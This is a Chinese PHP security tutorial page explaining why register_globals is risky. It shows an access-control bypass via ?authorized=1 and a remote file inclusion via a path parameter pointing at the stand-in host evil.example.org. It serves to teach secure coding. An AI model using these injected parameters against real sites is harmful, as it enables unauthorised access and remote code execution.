PHP安全之Register Globals_PHP教程
推薦:三種解決PHP亂碼的方法1、PHP 如何處理上傳的CSV文件? 可以用fgetcsv函數(shù): -- 從文件指針中讀入一行并解析 CSV 字段 但他無(wú)法處理里邊的中文; 所以在上傳后,要先把csv轉(zhuǎn)一下編碼; 2、編碼轉(zhuǎn)換; iconv(GB2312,UTF-8//IGNORE,file_get_contents($uploadfile)); ignore的意思是
register_globals參數(shù)在 PHP 的 4.2.0 及以上版本中默認(rèn)為屏蔽。雖然這并不認(rèn)為是一個(gè)安全漏洞,但是的確是一個(gè)安全風(fēng)險(xiǎn)。因此,應(yīng)該始終在開發(fā)過(guò)程中屏蔽register_globals。
為什么這是一個(gè)安全風(fēng)險(xiǎn)?每一種情形都需要的單獨(dú)說(shuō)明才能描述清楚,對(duì)于所有情形只給出一個(gè)恰當(dāng)?shù)睦邮欠浅@щy的。不管怎樣,最常見(jiàn)的例子是在PHP手冊(cè)中描述的:
<?phpif (authenticated_user()){$authorized = true;}if ($authorized){include '/highly/sensitive/data.php';}?>當(dāng)參數(shù)register_globals開啟的時(shí)候,這個(gè)頁(yè)面可以使用?authorized=1的參數(shù)訪問(wèn),從而繞過(guò)訪問(wèn)控制。當(dāng)然,這個(gè)明顯的漏洞是糟糕的開發(fā)造成的,而不是register_globals的原因,但是這明顯增加了產(chǎn)生危險(xiǎn)漏洞的可能。消除了這個(gè)影響,普通的全局變量(比如本例中的$authorized)將不再受到客戶端提交的數(shù)據(jù)的影響。最好的方式是初始化全部變量并且將參數(shù)error_reporting設(shè)置為E_ALL,這樣使用未初始化的變量就不會(huì)在開發(fā)的時(shí)候被忽略。
另外一個(gè)關(guān)于register_globals的例子是在使用include包含動(dòng)態(tài)路徑的時(shí)候可能產(chǎn)生問(wèn)題:
<?phpinclude "$path/script.php";?>當(dāng)參數(shù)register_globals開啟的時(shí)候,這個(gè)頁(yè)面可以使用?path=http://evil.example.org/?的參數(shù)訪問(wèn),使得本例中的代碼和下面的代碼等同:
<?phpinclude 'http://evil.example.org/?/script.php';?>如果參數(shù)allow_url_fopen開啟的時(shí)候(即便是在php.ini-recommended中,默認(rèn)也是開啟的),這將如同包含本地文件一般包含http://evil.example.org/這樣的遠(yuǎn)程文件。這是一個(gè)常見(jiàn)的安全漏洞,甚至在一些非常著名的開源項(xiàng)目中都發(fā)現(xiàn)。
初始化$path可以避免這個(gè)隱患,而且不用屏蔽參數(shù)register_globals。然而開發(fā)人員的失誤可能會(huì)產(chǎn)生沒(méi)有初始化的變量,修改全局配置以屏蔽參數(shù)register_globals可以盡可能的避免這種隱患被忽視。
便利性總是另人愉快的,過(guò)去我們不得不手工區(qū)分哪些是表單數(shù)據(jù),哪些是普通變量。而使用$_POST和$_GET內(nèi)建全局?jǐn)?shù)組也是非常方便的,并且承擔(dān)因?yàn)殚_啟參數(shù)register_globals造成的風(fēng)險(xiǎn)很不值得。雖然我完全不同意將開啟參數(shù)register_globals等同于薄弱的安全,但是我還是強(qiáng)烈建議將其設(shè)置為關(guān)閉。
需要補(bǔ)充說(shuō)明的是,屏蔽參數(shù)register_globals會(huì)幫助開發(fā)人員更加留意數(shù)據(jù)的來(lái)源,而這正是一個(gè)有安全意識(shí)的開發(fā)人員所應(yīng)該具備的素質(zhì)。
分享:任何使用PHP與XML進(jìn)行網(wǎng)站編程一、HTML的局限性分析 1.HTML的可擴(kuò)展性差。雖然作為一般的應(yīng)用,HTML應(yīng)經(jīng)夠用了,但是在處理數(shù)學(xué)和化學(xué)等符號(hào)時(shí),HTML有明顯的缺點(diǎn),而且它無(wú)法進(jìn)行擴(kuò)展,這樣使它的發(fā)展收到了極大的限制。 2.鏈路丟失后不能自動(dòng)糾正。由于Web頁(yè)面的URL地址經(jīng)常改變,而在
- PHPNOW安裝Memcached擴(kuò)展方法詳解
- php記錄頁(yè)面代碼執(zhí)行時(shí)間
- PHP中獎(jiǎng)概率的抽獎(jiǎng)算法程序代碼
- apache設(shè)置靜態(tài)文件緩存方法介紹
- php對(duì)圖像的各種處理函數(shù)代碼小結(jié)
- PHP 關(guān)于訪問(wèn)控制的和運(yùn)算符優(yōu)先級(jí)介紹
- 關(guān)于PHP語(yǔ)言構(gòu)造器介紹
- php/js獲取客戶端mac地址的實(shí)現(xiàn)代碼
- php5.5新數(shù)組函數(shù)array_column使用
- PHP preg_match的匹配多國(guó)語(yǔ)言的技巧
- php 中序列化和json使用介紹
- php采集文章中的圖片獲取替換到本地
PHP教程Rss訂閱編程教程搜索
PHP教程推薦
- 在PHP中進(jìn)行身份認(rèn)證
- PHP中使用pcntl和libevent實(shí)現(xiàn)Timer功能
- 你或許尚未了解PHP的那10件事情
- 深入PHP異步執(zhí)行的詳解
- 關(guān)于php 接口問(wèn)題(php接口主要也就是運(yùn)用curl,curl函數(shù))
- 使用php get_headers 判斷URL是否有效的解決辦法
- 解析php DOMElement 操作xml 文檔的實(shí)現(xiàn)代碼
- PHP+MYSQL實(shí)例--網(wǎng)站在線人數(shù)的程序代碼
- 用PHP5的DirectoryIterators遞歸掃描目錄
- 多核編程中的負(fù)載平衡難題
- 相關(guān)鏈接:
- 教程說(shuō)明:
PHP教程-PHP安全之Register Globals。